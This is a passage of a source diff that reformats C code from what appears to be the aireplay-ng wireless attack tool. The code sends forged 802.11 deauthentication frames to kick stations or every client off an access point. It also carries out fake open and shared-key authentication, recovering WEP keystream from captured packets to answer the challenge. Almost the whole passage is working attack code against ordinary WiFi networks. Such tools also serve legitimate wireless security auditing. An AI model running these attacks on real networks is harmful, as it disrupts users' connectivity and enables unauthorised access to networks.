-                    PCT; printf( "Sending 64 directed DeAuth. STMAC:"
-                                " [%02X:%02X:%02X:%02X:%02X:%02X] [%2d|%2d ACKs]\r",
-                                opt.r_dmac[0],  opt.r_dmac[1],
-                                opt.r_dmac[2],  opt.r_dmac[3],
-                                opt.r_dmac[4],  opt.r_dmac[5],
-                                sacks, aacks );
-                }
-
-                memcpy( h80211 +  4, opt.r_dmac,  6 );
-                memcpy( h80211 + 10, opt.r_bssid, 6 );
-
-                if( send_packet( h80211, 26 ) < 0 )
-                    return( 1 );
-
-                usleep( 2000 );
-
-                memcpy( h80211 +  4, opt.r_bssid, 6 );
-                memcpy( h80211 + 10, opt.r_dmac,  6 );
-
-                if( send_packet( h80211, 26 ) < 0 )
-                    return( 1 );
-
-                usleep( 2000 );
-
-                while( 1 )
-                {
-                    FD_ZERO( &rfds );
-                    FD_SET( dev.fd_in, &rfds );
-
-                    tv.tv_sec  = 0;
-                    tv.tv_usec = 1000;
-
-                    if( select( dev.fd_in + 1, &rfds, NULL, NULL, &tv ) < 0 )
-                    {
-                        if( errno == EINTR ) continue;
-                        perror( "select failed" );
-                        return( 1 );
-                    }
-
-                    if( ! FD_ISSET( dev.fd_in, &rfds ) )
-                        break;
-
-                    caplen = read_packet( tmpbuf, sizeof( tmpbuf ), NULL );
-
-                    if(caplen <= 0 ) break;
-                    if(caplen != 10) continue;
-                    if( tmpbuf[0] == 0xD4)
-                    {
-                        if( memcmp(tmpbuf+4, opt.r_dmac, 6) == 0 )
-                        {
-                            aacks++;
-                        }
-                        if( memcmp(tmpbuf+4, opt.r_bssid, 6) == 0 )
-                        {
-                            sacks++;
-                        }
-                        PCT; printf( "Sending 64 directed DeAuth. STMAC:"
-                                    " [%02X:%02X:%02X:%02X:%02X:%02X] [%2d|%2d ACKs]\r",
-                                    opt.r_dmac[0],  opt.r_dmac[1],
-                                    opt.r_dmac[2],  opt.r_dmac[3],
-                                    opt.r_dmac[4],  opt.r_dmac[5],
-                                    sacks, aacks );
-                    }
-                }
-            }
-            printf("\n");
-        }
-        else
-        {
-            /* deauthenticate all stations */
-
-            PCT; printf( "Sending DeAuth to broadcast -- BSSID:"
-                         " [%02X:%02X:%02X:%02X:%02X:%02X]\n",
-                         opt.r_bssid[0], opt.r_bssid[1],
-                         opt.r_bssid[2], opt.r_bssid[3],
-                         opt.r_bssid[4], opt.r_bssid[5] );
-
-            memcpy( h80211, DEAUTH_REQ, 26 );
-
-            memcpy( h80211 +  4, BROADCAST,   6 );
-            memcpy( h80211 + 10, opt.r_bssid, 6 );
-            memcpy( h80211 + 16, opt.r_bssid, 6 );
-
-            for( i = 0; i < 128; i++ )
-            {
-                if( send_packet( h80211, 26 ) < 0 )
-                    return( 1 );
-
-                usleep( 2000 );
-            }
-        }
-    }
+		if (memcmp(opt.r_dmac, NULL_MAC, 6) != 0)
+		{
+			/* deauthenticate the target */
+
+			memcpy(h80211, DEAUTH_REQ, 26);
+			memcpy(h80211 + 16, opt.r_bssid, 6);
+
+			/* add the deauth reason code */
+			h80211[24] = opt.deauth_rc;
+
+			aacks = 0;
+			sacks = 0;
+			for (i = 0; i < 64; i++)
+			{
+				if (i == 0)
+				{
+					PCT;
+					printf("Sending 64 directed DeAuth (code %i). STMAC:"
+						   " [%02X:%02X:%02X:%02X:%02X:%02X] [%2d|%2d ACKs]\r",
+						   opt.deauth_rc,
+						   opt.r_dmac[0],
+						   opt.r_dmac[1],
+						   opt.r_dmac[2],
+						   opt.r_dmac[3],
+						   opt.r_dmac[4],
+						   opt.r_dmac[5],
+						   sacks,
+						   aacks);
+				}
+
+				memcpy(h80211 + 4, opt.r_dmac, 6);
+				memcpy(h80211 + 10, opt.r_bssid, 6);
+
+				if (send_packet(h80211, 26) < 0) return (1);
+
+				usleep(2000);
+
+				memcpy(h80211 + 4, opt.r_bssid, 6);
+				memcpy(h80211 + 10, opt.r_dmac, 6);
+
+				if (send_packet(h80211, 26) < 0) return (1);
+
+				usleep(2000);
 
-    return( 0 );
+				while (1)
+				{
+					FD_ZERO(&rfds);
+					FD_SET(dev.fd_in, &rfds);
+
+					tv.tv_sec = 0;
+					tv.tv_usec = 1000;
+
+					if (select(dev.fd_in + 1, &rfds, NULL, NULL, &tv) < 0)
+					{
+						if (errno == EINTR) continue;
+						perror("select failed");
+						return (1);
+					}
+
+					if (!FD_ISSET(dev.fd_in, &rfds)) break;
+
+					caplen = read_packet(tmpbuf, sizeof(tmpbuf), NULL);
+
+					if (caplen <= 0) break;
+					if (caplen != 10) continue;
+					if (tmpbuf[0] == 0xD4)
+					{
+						if (memcmp(tmpbuf + 4, opt.r_dmac, 6) == 0)
+						{
+							aacks++;
+						}
+						if (memcmp(tmpbuf + 4, opt.r_bssid, 6) == 0)
+						{
+							sacks++;
+						}
+						PCT;
+						printf(
+							"Sending 64 directed DeAuth (code %i). STMAC:"
+							" [%02X:%02X:%02X:%02X:%02X:%02X] [%2d|%2d ACKs]\r",
+							opt.deauth_rc,
+							opt.r_dmac[0],
+							opt.r_dmac[1],
+							opt.r_dmac[2],
+							opt.r_dmac[3],
+							opt.r_dmac[4],
+							opt.r_dmac[5],
+							sacks,
+							aacks);
+					}
+				}
+			}
+			printf("\n");
+		}
+		else
+		{
+			/* deauthenticate all stations */
+
+			PCT;
+			printf("Sending DeAuth (code %i) to broadcast -- BSSID:"
+				   " [%02X:%02X:%02X:%02X:%02X:%02X]\n",
+				   opt.deauth_rc,
+				   opt.r_bssid[0],
+				   opt.r_bssid[1],
+				   opt.r_bssid[2],
+				   opt.r_bssid[3],
+				   opt.r_bssid[4],
+				   opt.r_bssid[5]);
+
+			memcpy(h80211, DEAUTH_REQ, 26);
+			h80211[24] = opt.deauth_rc;
+
+			memcpy(h80211 + 4, BROADCAST, 6);
+			memcpy(h80211 + 10, opt.r_bssid, 6);
+			memcpy(h80211 + 16, opt.r_bssid, 6);
+
+			for (i = 0; i < 128; i++)
+			{
+				if (send_packet(h80211, 26) < 0) return (1);
+
+				usleep(2000);
+			}
+		}
+	}
+
+	return (0);
 }
 
-int do_attack_fake_auth( void )
+static int do_attack_fake_auth(void)
 {
-    time_t tt, tr;
-    struct timeval tv, tv2, tv3;
+	time_t tt, tr;
+	struct timeval tv, tv2, tv3;
 
-    fd_set rfds;
-    int i, n, state, caplen, z;
-    int mi_b, mi_s, mi_d;
-    int x_send;
-    int kas;
-    int tries;
-    int retry = 0;
-    int abort;
-    int gotack = 0;
-    unsigned char capa[2];
-    int deauth_wait=3;
-    int ska=0;
-    int keystreamlen=0;
-    int challengelen=0;
-    int weight[16];
-    int notice=0;
-    int packets=0;
-    int aid=0;
-
-    unsigned char ackbuf[14];
-    unsigned char ctsbuf[10];
-    unsigned char iv[4];
-    unsigned char challenge[2048];
-    unsigned char keystream[2048];
+	fd_set rfds;
+	int i, n, state, caplen, z;
+	int mi_b, mi_s, mi_d;
+	int x_send;
+	int kas;
+	int tries;
+	int retry = 0;
+	int abort;
+	int gotack = 0;
+	unsigned char capa[2];
+	int deauth_wait = 3;
+	int ska = 0;
+	int keystreamlen = 0;
+	int challengelen = 0;
+	int weight[16];
+	int notice = 0;
+	int packets = 0;
+	int aid = 0;
+
+	unsigned char ackbuf[14];
+	unsigned char ctsbuf[10];
+	unsigned char iv[4];
+	unsigned char challenge[2048];
+	unsigned char keystream[2048];
 
-    memset(iv, 0, sizeof(iv));
+	memset(iv, 0, sizeof(iv));
 
-    if( memcmp( opt.r_smac,  NULL_MAC, 6 ) == 0 )
-    {
-        printf( "Please specify a source MAC (-h).\n" );
-        return( 1 );
-    }
+	if (memcmp(opt.r_smac, NULL_MAC, 6) == 0)
+	{
+		printf("Please specify a source MAC (-h).\n");
+		return (1);
+	}
 
-    if(getnet(capa, 0, 1) != 0)
-        return 1;
+	if (getnet(capa, 0, 1) != 0) return 1;
 
-    if( strlen(opt.r_essid) == 0 || opt.r_essid[0] < 32)
-    {
-        printf( "Please specify an ESSID (-e).\n" );
-        return 1;
-    }
+	if (verifyssid((const unsigned char *) opt.r_essid) == 0)
+	{
+		printf("Please specify an ESSID (-e).\n");
+		return 1;
+	}
 
-    memcpy( ackbuf, "\xD4\x00\x00\x00", 4 );
-    memcpy( ackbuf +  4, opt.r_bssid, 6 );
-    memset( ackbuf + 10, 0, 4 );
-
-    memcpy( ctsbuf, "\xC4\x00\x94\x02", 4 );
-    memcpy( ctsbuf +  4, opt.r_bssid, 6 );
-
-    tries = 0;
-    abort = 0;
-    state = 0;
-    x_send=opt.npackets;
-    if(opt.npackets == 0)
-        x_send=4;
+	memcpy(ackbuf, "\xD4\x00\x00\x00", 4);
+	memcpy(ackbuf + 4, opt.r_bssid, 6);
+	memset(ackbuf + 10, 0, 4);
 
-    if(opt.prga != NULL)
-        ska=1;
+	memcpy(ctsbuf, "\xC4\x00\x94\x02", 4);
+	memcpy(ctsbuf + 4, opt.r_bssid, 6);
 
-    tt = time( NULL );
-    tr = time( NULL );
+	tries = 0;
+	abort = 0;
+	state = 0;
+	x_send = opt.npackets;
+	if (opt.npackets == 0) x_send = 4;
 
-    while( 1 )
-    {
-        switch( state )
-        {
-            case 0:
-				if (opt.f_retry > 0) {
-					if (retry == opt.f_retry) {
+	if (opt.prga != NULL) ska = 1;
+
+	tt = time(NULL);
+	tr = time(NULL);
+
+	while (1)
+	{
+		switch (state)
+		{
+			case 0:
+				if (opt.f_retry > 0)
+				{
+					if (retry == opt.f_retry)
+					{
 						abort = 1;
 						return 1;
 					}
 					++retry;
 				}
 
-                if(ska && keystreamlen == 0)
-                {
-                    opt.fast = 1;  //don't ask for approval
-                    memcpy(opt.f_bssid, opt.r_bssid, 6);    //make the filter bssid the same, that is used for auth'ing
-                    if(opt.prga==NULL)
-                    {
-                        while(keystreamlen < 16)
-                        {
-                            capture_ask_packet(&caplen, 1);    //wait for data packet
-                            z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30;
-                            if ( ( h80211[0] & 0x80 ) == 0x80 ) /* QoS */
-                                z+=2;
-
-                            memcpy(iv, h80211+z, 4); //copy IV+IDX
-                            i = known_clear(keystream, &keystreamlen, weight, h80211, caplen-z-4-4); //recover first bytes
-                            if(i>1)
-                            {
-                                keystreamlen=0;
-                            }
-                            for(i=0;i<keystreamlen;i++)
-                                keystream[i] ^= h80211[i+z+4];
-                        }
-                    }
-                    else
-                    {
-                        keystreamlen = opt.prgalen-4;
-                        memcpy(iv, opt.prga, 4);
-                        memcpy(keystream, opt.prga+4, keystreamlen);
-                    }
-                }
-
-                state = 1;
-                tt = time( NULL );
-
-                /* attempt to authenticate */
-
-                memcpy( h80211, AUTH_REQ, 30 );
-                memcpy( h80211 +  4, opt.r_bssid, 6 );
-                memcpy( h80211 + 10, opt.r_smac , 6 );
-                memcpy( h80211 + 16, opt.r_bssid, 6 );
-                if(ska)
-                    h80211[24]=0x01;
-
-                printf("\n");
-                PCT; printf( "Sending Authentication Request" );
-                if(!ska)
-                    printf(" (Open System)");
-                else
-                    printf(" (Shared Key)");
-                fflush( stdout );
-                gotack=0;
-
-                for( i = 0; i < x_send; i++ )
-                {
-                    if( send_packet( h80211, 30 ) < 0 )
-                        return( 1 );
-
-                    usleep(10);
-
-                    if( send_packet( ackbuf, 14 ) < 0 )
-                        return( 1 );
-                    usleep(10);
-
-                    if( send_packet( ackbuf, 14 ) < 0 )
-                        return( 1 );
-                }
-
-                break;
-
-            case 1:
-
-                /* waiting for an authentication response */
-
-                if( time( NULL ) - tt >= 2 )
-                {
-                    if(opt.npackets > 0)
-                    {
-                        tries++;
-
-                        if( tries > 15  )
-                        {
-                            abort = 1;
-                        }
-                    }
-                    else
-                    {
-                        if( x_send < 256 )
-                        {
-                            x_send *= 2;
-                        }
-                        else
-                        {
-                            abort = 1;
-                        }
-                    }
-
-                    if( abort )
-                    {
-                        printf(
-    "\nAttack was unsuccessful. Possible reasons:\n\n"
-    "    * Perhaps MAC address filtering is enabled.\n"
-    "    * Check that the BSSID (-a option) is correct.\n"
-    "    * Try to change the number of packets (-o option).\n"
-    "    * The driver/card doesn't support injection.\n"
-    "    * This attack sometimes fails against some APs.\n"
-    "    * The card is not on the same channel as the AP.\n"
-    "    * You're too far from the AP. Get closer, or lower\n"
-    "      the transmit rate.\n\n" );
-                        return( 1 );
-                    }
-
-                    state = 0;
-                    challengelen = 0;
-                    printf("\n");
-                }
-
-                break;
-
-            case 2:
-
-                state = 3;
-                tt = time( NULL );
-
-                /* attempt to authenticate using ska */
-
-                memcpy( h80211, AUTH_REQ, 30 );
-                memcpy( h80211 +  4, opt.r_bssid, 6 );
-                memcpy( h80211 + 10, opt.r_smac , 6 );
-                memcpy( h80211 + 16, opt.r_bssid, 6 );
-                h80211[1] |= 0x40; //set wep bit, as this frame is encrypted
-                memcpy(h80211+24, iv, 4);
-                memcpy(h80211+28, challenge, challengelen);
-                h80211[28] = 0x01; //its always ska in state==2
-                h80211[30] = 0x03; //auth sequence number 3
-                fflush(stdout);
-
-                if(keystreamlen < challengelen+4 && notice == 0)
-                {
-                    notice = 1;
-                    if(opt.prga != NULL)
-                    {
-                        PCT; printf( "Specified xor file (-y) is too short, you need at least %d keystreambytes.\n", challengelen+4);
-                    }
-                    else
-                    {
-                        PCT; printf( "You should specify a xor file (-y) with at least %d keystreambytes\n", challengelen+4);
-                    }
-                    PCT; printf( "Trying fragmented shared key fake auth.\n");
-                }
-                PCT; printf( "Sending encrypted challenge." );
-                fflush( stdout );
-                gotack=0;
-                gettimeofday(&tv2, NULL);
-
-                for( i = 0; i < x_send; i++ )
-                {
-                    if(keystreamlen < challengelen+4)
-                    {
-                        packets=(challengelen)/(keystreamlen-4);
-                        if( (challengelen)%(keystreamlen-4) != 0 )
-                            packets++;
-
-                        memcpy(h80211+24, challenge, challengelen);
-                        h80211[24]=0x01;
-                        h80211[26]=0x03;
-                        send_fragments(h80211, challengelen+24, iv, keystream, keystreamlen-4, 1);
-                    }
-                    else
-                    {
-                        add_icv(h80211, challengelen+28, 28);
-                        xor_keystream(h80211+28, keystream, challengelen+4);
-                        send_packet(h80211, 24+4+challengelen+4);
-                    }
-
-                    if( send_packet( ackbuf, 14 ) < 0 )
-                        return( 1 );
-                    usleep(10);
-
-                    if( send_packet( ackbuf, 14 ) < 0 )
-                        return( 1 );
-                }
-
-                break;
-
-            case 3:
-
-                /* waiting for an authentication response (using ska) */
-
-                if( time( NULL ) - tt >= 2 )
-                {
-                    if(opt.npackets > 0)
-                    {
-                        tries++;
-
-                        if( tries > 15  )
-                        {
-                            abort = 1;
-                        }
-                    }
-                    else
-                    {
-                        if( x_send < 256 )
-                        {
-                            x_send *= 2;
-                        }
-                        else
-                        {
-                            abort = 1;
-                        }
-                    }
-
-                    if( abort )
-                    {
-                        printf(
-    "\nAttack was unsuccessful. Possible reasons:\n\n"
-    "    * Perhaps MAC address filtering is enabled.\n"
-    "    * Check that the BSSID (-a option) is correct.\n"
-    "    * Try to change the number of packets (-o option).\n"
-    "    * The driver/card doesn't support injection.\n"
-    "    * This attack sometimes fails against some APs.\n"
-    "    * The card is not on the same channel as the AP.\n"
-    "    * You're too far from the AP. Get closer, or lower\n"
-    "      the transmit rate.\n\n" );
-                        return( 1 );
-                    }
-
-                    state = 0;
-                    challengelen=0;
-                    printf("\n");
-                }
-
-                break;
-
-            case 4:
-
-                tries = 0;
-                state = 5;
-                if(opt.npackets == -1) x_send *= 2;
-                tt = time( NULL );
-
-                /* attempt to associate */
-
-                memcpy( h80211, ASSOC_REQ, 28 );
-                memcpy( h80211 +  4, opt.r_bssid, 6 );
-                memcpy( h80211 + 10, opt.r_smac , 6 );
-                memcpy( h80211 + 16, opt.r_bssid, 6 );
-
-                n = strlen( opt.r_essid );
-                if( n > 32 ) n = 32;
-
-                h80211[28] = 0x00;
-                h80211[29] = n;
-
-                memcpy( h80211 + 30, opt.r_essid,  n );
-                memcpy( h80211 + 30 + n, RATES, 16 );
-                memcpy( h80211 + 24, capa, 2);
-
-                PCT; printf( "Sending Association Request" );
-                fflush( stdout );
-                gotack=0;
-
-                for( i = 0; i < x_send; i++ )
-                {
-                    if( send_packet( h80211, 46 + n ) < 0 )
-                        return( 1 );
-
-                    usleep(10);
-
-                    if( send_packet( ackbuf, 14 ) < 0 )
-                        return( 1 );
-                    usleep(10);
-
-                    if( send_packet( ackbuf, 14 ) < 0 )
-                        return( 1 );
-                }
-
-                break;
-
-            case 5:
-
-                /* waiting for an association response */
-
-                if( time( NULL ) - tt >= 5 )
-                {
-                    if( x_send < 256 && (opt.npackets == -1) )
-                        x_send *= 4;
-
-                    state = 0;
-                    challengelen = 0;
-                    printf("\n");
-                }
-
-                break;
-
-            case 6:
-
-                if( opt.a_delay == 0 && opt.reassoc == 0 )
-                {
-                    printf("\n");
-                    return( 0 );
-                }
-
-                if( opt.a_delay == 0 && opt.reassoc == 1 )
-                {
-                    if(opt.npackets == -1) x_send = 4;
-                    state = 7;
-                    challengelen = 0;
-                    break;
-                }
-
-                if( time( NULL ) - tt >= opt.a_delay )
-                {
-                    if(opt.npackets == -1) x_send = 4;
-                    if( opt.reassoc == 1 ) state = 7;
-                    else state = 0;
-                    challengelen = 0;
-                    break;
-                }
-
-                if( time( NULL ) - tr >= opt.delay )
-                {
-                    tr = time( NULL );
-                    printf("\n");
-                    PCT; printf( "Sending keep-alive packet" );
-                    fflush( stdout );
-                    gotack=0;
-
-                    memcpy( h80211, NULL_DATA, 24 );
-                    memcpy( h80211 +  4, opt.r_bssid, 6 );
-                    memcpy( h80211 + 10, opt.r_smac,  6 );
-                    memcpy( h80211 + 16, opt.r_bssid, 6 );
-
-                    if( opt.npackets > 0 ) kas = opt.npackets;
-                    else kas = 32;
-
-                    for( i = 0; i < kas; i++ )
-                        if( send_packet( h80211, 24 ) < 0 )
-                            return( 1 );
-                }
-
-                break;
-
-            case 7:
-
-                /* sending reassociation request */
-
-                tries = 0;
-                state = 8;
-                if(opt.npackets == -1) x_send *= 2;
-                tt = time( NULL );
-
-                /* attempt to reassociate */
-
-                memcpy( h80211, REASSOC_REQ, 34 );
-                memcpy( h80211 +  4, opt.r_bssid, 6 );
-                memcpy( h80211 + 10, opt.r_smac , 6 );
-                memcpy( h80211 + 16, opt.r_bssid, 6 );
-
-                n = strlen( opt.r_essid );
-                if( n > 32 ) n = 32;
-
-                h80211[34] = 0x00;
-                h80211[35] = n;
-
-                memcpy( h80211 + 36, opt.r_essid,  n );
-                memcpy( h80211 + 36 + n, RATES, 16 );
-                memcpy( h80211 + 30, capa, 2);
-
-                PCT; printf( "Sending Reassociation Request" );
-                fflush( stdout );
-                gotack=0;
-
-                for( i = 0; i < x_send; i++ )
-                {
-                    if( send_packet( h80211, 52 + n ) < 0 )
-                        return( 1 );
-
-                    usleep(10);
-
-                    if( send_packet( ackbuf, 14 ) < 0 )
-                        return( 1 );
-                    usleep(10);
-
-                    if( send_packet( ackbuf, 14 ) < 0 )
-                        return( 1 );
-                }
-
-                break;
-
-            case 8:
-
-                /* waiting for a reassociation response */
-
-                if( time( NULL ) - tt >= 5 )
-                {
-                    if( x_send < 256 && (opt.npackets == -1) )
-                        x_send *= 4;
-
-                    state = 7;
-                    challengelen = 0;
-                    printf("\n");
-                }
-
-                break;
-
-            default: break;
-        }
-
-        /* read one frame */
-
-        FD_ZERO( &rfds );
-        FD_SET( dev.fd_in, &rfds );
-
-        tv.tv_sec  = 1;
-        tv.tv_usec = 0;
-
-        if( select( dev.fd_in + 1, &rfds, NULL, NULL, &tv ) < 0 )
-        {
-            if( errno == EINTR ) continue;
-            perror( "select failed" );
-            return( 1 );
-        }
-
-        if( ! FD_ISSET( dev.fd_in, &rfds ) )
-            continue;
-
-        caplen = read_packet( h80211, sizeof( h80211 ), NULL );
-
-        if( caplen  < 0 ) return( 1 );
-        if( caplen == 0 ) continue;
-
-        if( caplen == 10 && h80211[0] == 0xD4)
-        {
-            if( memcmp(h80211+4, opt.r_smac, 6) == 0 )
-            {
-                gotack++;
-                if(gotack==1)
-                {
-                    printf(" [ACK]");
-                    fflush( stdout );
-                }
-            }
-        }
-
-        gettimeofday(&tv3, NULL);
-
-        //wait 100ms for acks
-        if ( (((tv3.tv_sec*1000000 - tv2.tv_sec*1000000) + (tv3.tv_usec - tv2.tv_usec)) > (100*1000)) &&
-              (gotack > 0) && (gotack < packets) && (state == 3) && (packets > 1) )
-        {
-            PCT; printf("Not enough acks, repeating...\n");
-            state=2;
-            continue;
-        }
-
-        if( caplen < 24 )
-            continue;
-
-        switch( h80211[1] & 3 )
-        {
-            case  0: mi_b = 16; mi_s = 10; mi_d =  4; break;
-            case  1: mi_b =  4; mi_s = 10; mi_d = 16; break;
-            case  2: mi_b = 10; mi_s = 16; mi_d =  4; break;
-            default: mi_b = 10; mi_d = 16; mi_s = 24; break;
-        }
-
-        /* check if the dest. MAC is ours and source == AP */
-
-        if( memcmp( h80211 + mi_d, opt.r_smac,  6 ) == 0 &&
-            memcmp( h80211 + mi_b, opt.r_bssid, 6 ) == 0 &&
-            memcmp( h80211 + mi_s, opt.r_bssid, 6 ) == 0 )
-        {
-            /* check if we got an deauthentication packet */
-
-            if( h80211[0] == 0xC0 ) //removed && state == 4
-            {
-                printf("\n");
-                PCT; printf( "Got a deauthentication packet! (Waiting %d seconds)\n", deauth_wait );
-                if(opt.npackets == -1) x_send = 4;
-                state = 0;
-                challengelen = 0;
-                read_sleep( deauth_wait * 1000000UL );
-                deauth_wait += 2;
-                continue;
-            }
-
-            /* check if we got an disassociation packet */
-
-            if( h80211[0] == 0xA0 && state == 6 )
-            {
-                printf("\n");
-                PCT; printf( "Got a disassociation packet! (Waiting %d seconds)\n", deauth_wait );
-                if(opt.npackets == -1) x_send = 4;
-                state = 0;
-                challengelen = 0;
-                read_sleep( deauth_wait );
-                deauth_wait += 2;
-                continue;
-            }
-
-            /* check if we got an authentication response */
-
-            if( h80211[0] == 0xB0 && (state == 1 || state == 3) )
-            {
-                if(ska)
-                {
-                    if( (state==1 && h80211[26] != 0x02) || (state==3 && h80211[26] != 0x04) )
-                        continue;
-                }
-
-                printf("\n");
-                PCT;
-
-                state = 0;
-
-                if( caplen < 30 )
-                {
-                    printf( "Error: packet length < 30 bytes\n" );
-                    read_sleep( 3*1000000 );
-                    challengelen = 0;
-                    continue;
-                }
-
-                if( (h80211[24] != 0 || h80211[25] != 0) && ska==0)
-                {
-                    ska=1;
-                    printf("Switching to shared key authentication\n");
-                    read_sleep(2*1000000);  //read sleep 2s
-                    challengelen = 0;
-                    continue;
-                }
-
-                n = h80211[28] + ( h80211[29] << 8 );
-
-                if( n != 0 )
-                {
-                    switch( n )
-                    {
-                    case  1:
-                        printf( "AP rejects the source MAC address (%02X:%02X:%02X:%02X:%02X:%02X) ?\n",
-                                opt.r_smac[0], opt.r_smac[1], opt.r_smac[2],
-                                opt.r_smac[3], opt.r_smac[4], opt.r_smac[5] );
-                        break;
-
-                    case 10:
-                        printf( "AP rejects our capabilities\n" );
-                        break;
-
-                    case 13:
-                    case 15:
-                        ska=1;
-                        if(h80211[26] == 0x02)
-                            printf("Switching to shared key authentication\n");
-                        if(h80211[26] == 0x04)
-                        {
-                            printf("Challenge failure\n");
-                            challengelen=0;
-                        }
-                        read_sleep(2*1000000);  //read sleep 2s
-                        challengelen = 0;
-                        continue;
-                    default:
-                        break;
-                    }
-
-                    printf( "Authentication failed (code %d)\n", n );
-                    if(opt.npackets == -1) x_send = 4;
-                    read_sleep( 3*1000000 );
-                    challengelen = 0;
-                    continue;
-                }
-
-                if(ska && h80211[26]==0x02 && challengelen == 0)
-                {
-                    memcpy(challenge, h80211+24, caplen-24);
-                    challengelen=caplen-24;
-                }
-                if(ska)
-                {
-                    if(h80211[26]==0x02)
-                    {
-                        state = 2;      /* grab challenge */
-                        printf( "Authentication 1/2 successful\n" );
-                    }
-                    if(h80211[26]==0x04)
-                    {
-                        state = 4;
-                        printf( "Authentication 2/2 successful\n" );
-                    }
-                }
-                else
-                {
-                    printf( "Authentication successful\n" );
-                    state = 4;      /* auth. done */
-                }
-            }
-
-            /* check if we got an association response */
-
-            if( h80211[0] == 0x10 && state == 5 )
-            {
-                printf("\n");
-                state = 0; PCT;
-
-                if( caplen < 30 )
-                {
-                    printf( "Error: packet length < 30 bytes\n" );
-                    sleep( 3 );
-                    challengelen = 0;
-                    continue;
-                }
-
-                n = h80211[26] + ( h80211[27] << 8 );
-
-                if( n != 0 )
-                {
-                    switch( n )
-                    {
-                    case  1:
-                        printf( "Denied (code  1), is WPA in use ?\n" );
-                        break;
-
-                    case 10:
-                        printf( "Denied (code 10), open (no WEP) ?\n" );
-                        break;
-
-                    case 12:
-                        printf( "Denied (code 12), wrong ESSID or WPA ?\n" );
-                        break;
-
-                    default:
-                        printf( "Association denied (code %d)\n", n );
-                        break;
-                    }
-
-                    sleep( 3 );
-                    challengelen = 0;
-                    continue;
-                }
-
-                aid=( ( (h80211[29] << 8) || (h80211[28]) ) & 0x3FFF);
-                printf( "Association successful :-) (AID: %d)\n", aid );
-                deauth_wait = 3;
-                fflush( stdout );
-
-                tt = time( NULL );
-                tr = time( NULL );
-
-                state = 6;      /* assoc. done */
-            }
-
-            /* check if we got an reassociation response */
-
-            if( h80211[0] == 0x30 && state == 8 )
-            {
-                printf("\n");
-                state = 7; PCT;
-
-                if( caplen < 30 )
-                {
-                    printf( "Error: packet length < 30 bytes\n" );
-                    sleep( 3 );
-                    challengelen = 0;
-                    continue;
-                }
-
-                n = h80211[26] + ( h80211[27] << 8 );
-
-                if( n != 0 )
-                {
-                    switch( n )
-                    {
-                    case  1:
-                        printf( "Denied (code  1), is WPA in use ?\n" );
-                        break;
-
-                    case 10:
-                        printf( "Denied (code 10), open (no WEP) ?\n" );
-                        break;
-
-                    case 12:
-                        printf( "Denied (code 12), wrong ESSID or WPA ?\n" );
-                        break;
-
-                    default:
-                        printf( "Reassociation denied (code %d)\n", n );
-                        break;
-                    }
-
-                    sleep( 3 );
-                    challengelen = 0;
-                    continue;
-                }
-
-                aid=( ( (h80211[29] << 8) || (h80211[28]) ) & 0x3FFF);
-                printf( "Reassociation successful :-) (AID: %d)\n", aid );
-                deauth_wait = 3;
-                fflush( stdout );
-
-                tt = time( NULL );
-                tr = time( NULL );
-
-                state = 6;      /* reassoc. done */
-            }
-        }
-    }
+				if (ska && keystreamlen == 0)
+				{
+					opt.fast = 1; // don't ask for approval
+					memcpy(opt.f_bssid,
+						   opt.r_bssid,
+						   6); // make the filter bssid the same, that is used
+					// for auth'ing
+					if (opt.prga == NULL)
+					{
+						while (keystreamlen < 16)
+						{
+							capture_ask_packet(&caplen,
+											   1); // wait for data packet
+							z = ((h80211[1] & 3) != 3) ? 24 : 30;
+							if ((h80211[0] & 0x80) == 0x80) /* QoS */
+								z += 2;
+
+							memcpy(iv, h80211 + z, 4); // copy IV+IDX
+							i = known_clear(keystream,
+											&keystreamlen,
+											weight,
+											h80211,
+											caplen - z - 4
+												- 4); // recover first bytes
+							if (i > 1)
+							{
+								keystreamlen = 0;
+							}
+							for (i = 0; i < keystreamlen; i++)
+								keystream[i] ^= h80211[i + z + 4];
+						}
+					}
+					else
+					{
+						keystreamlen = opt.prgalen - 4;
+						memcpy(iv, opt.prga, 4);
+						memcpy(keystream, opt.prga + 4, keystreamlen);
+					}
+				}
+
+				state = 1;
+				tt = time(NULL);
+
+				/* attempt to authenticate */
+
+				memcpy(h80211, AUTH_REQ, 30);
+				memcpy(h80211 + 4, opt.r_bssid, 6);
+				memcpy(h80211 + 10, opt.r_smac, 6);
+				memcpy(h80211 + 16, opt.r_bssid, 6);
+				if (ska) h80211[24] = 0x01;
+
+				printf("\n");
+				PCT;
+				printf("Sending Authentication Request");
+				if (!ska)
+					printf(" (Open System)");
+				else
+					printf(" (Shared Key)");
+				fflush(stdout);
+				gotack = 0;
+
+				for (i = 0; i < x_send; i++)
+				{
+					if (send_packet(h80211, 30) < 0) return (1);
+
+					usleep(10);
+
+					if (send_packet(ackbuf, 14) < 0) return (1);
+					usleep(10);
+
+					if (send_packet(ackbuf, 14) < 0) return (1);
+				}
+
+				break;
+
+			case 1:
+
+				/* waiting for an authentication response */
+
+				if (time(NULL) - tt >= 2)
+				{
+					if (opt.npackets > 0)
+					{
+						tries++;
+
+						if (tries > 15)
+						{
+							abort = 1;
+						}
+					}
+					else
+					{
+						if (x_send < 256)
+						{
+							x_send *= 2;
+						}
+						else
+						{
+							abort = 1;
+						}
+					}
+
+					if (abort)
+					{
+						printf(
+							"\nAttack was unsuccessful. Possible reasons:\n\n"
+							"    * Perhaps MAC address filtering is enabled.\n"
+							"    * Check that the BSSID (-a option) is "
+							"correct.\n"
+							"    * Try to change the number of packets (-o "
+							"option).\n"
+							"    * The driver/card doesn't support injection.\n"
+							"    * This attack sometimes fails against some "
+							"APs.\n"
+							"    * The card is not on the same channel as the "
+							"AP.\n"
+							"    * You're too far from the AP. Get closer, or "
+							"lower\n"
+							"      the transmit rate.\n\n");
+						return (1);
+					}
+
+					state = 0;
+					challengelen = 0;
+					printf("\n");
+				}
+
+				break;
+
+			case 2:
+
+				state = 3;
+				tt = time(NULL);
+
+				/* attempt to authenticate using ska */
+
+				memcpy(h80211, AUTH_REQ, 30);
+				memcpy(h80211 + 4, opt.r_bssid, 6);
+				memcpy(h80211 + 10, opt.r_smac, 6);
+				memcpy(h80211 + 16, opt.r_bssid, 6);
+				h80211[1] |= 0x40; // set wep bit, as this frame is encrypted
+				memcpy(h80211 + 24, iv, 4);
+				memcpy(h80211 + 28, challenge, challengelen);
+				h80211[28] = 0x01; // its always ska in state==2
+				h80211[30] = 0x03; // auth sequence number 3
+				fflush(stdout);
+
+				if (keystreamlen < challengelen + 4 && notice == 0)
+				{
+					notice = 1;
+					if (opt.prga != NULL)
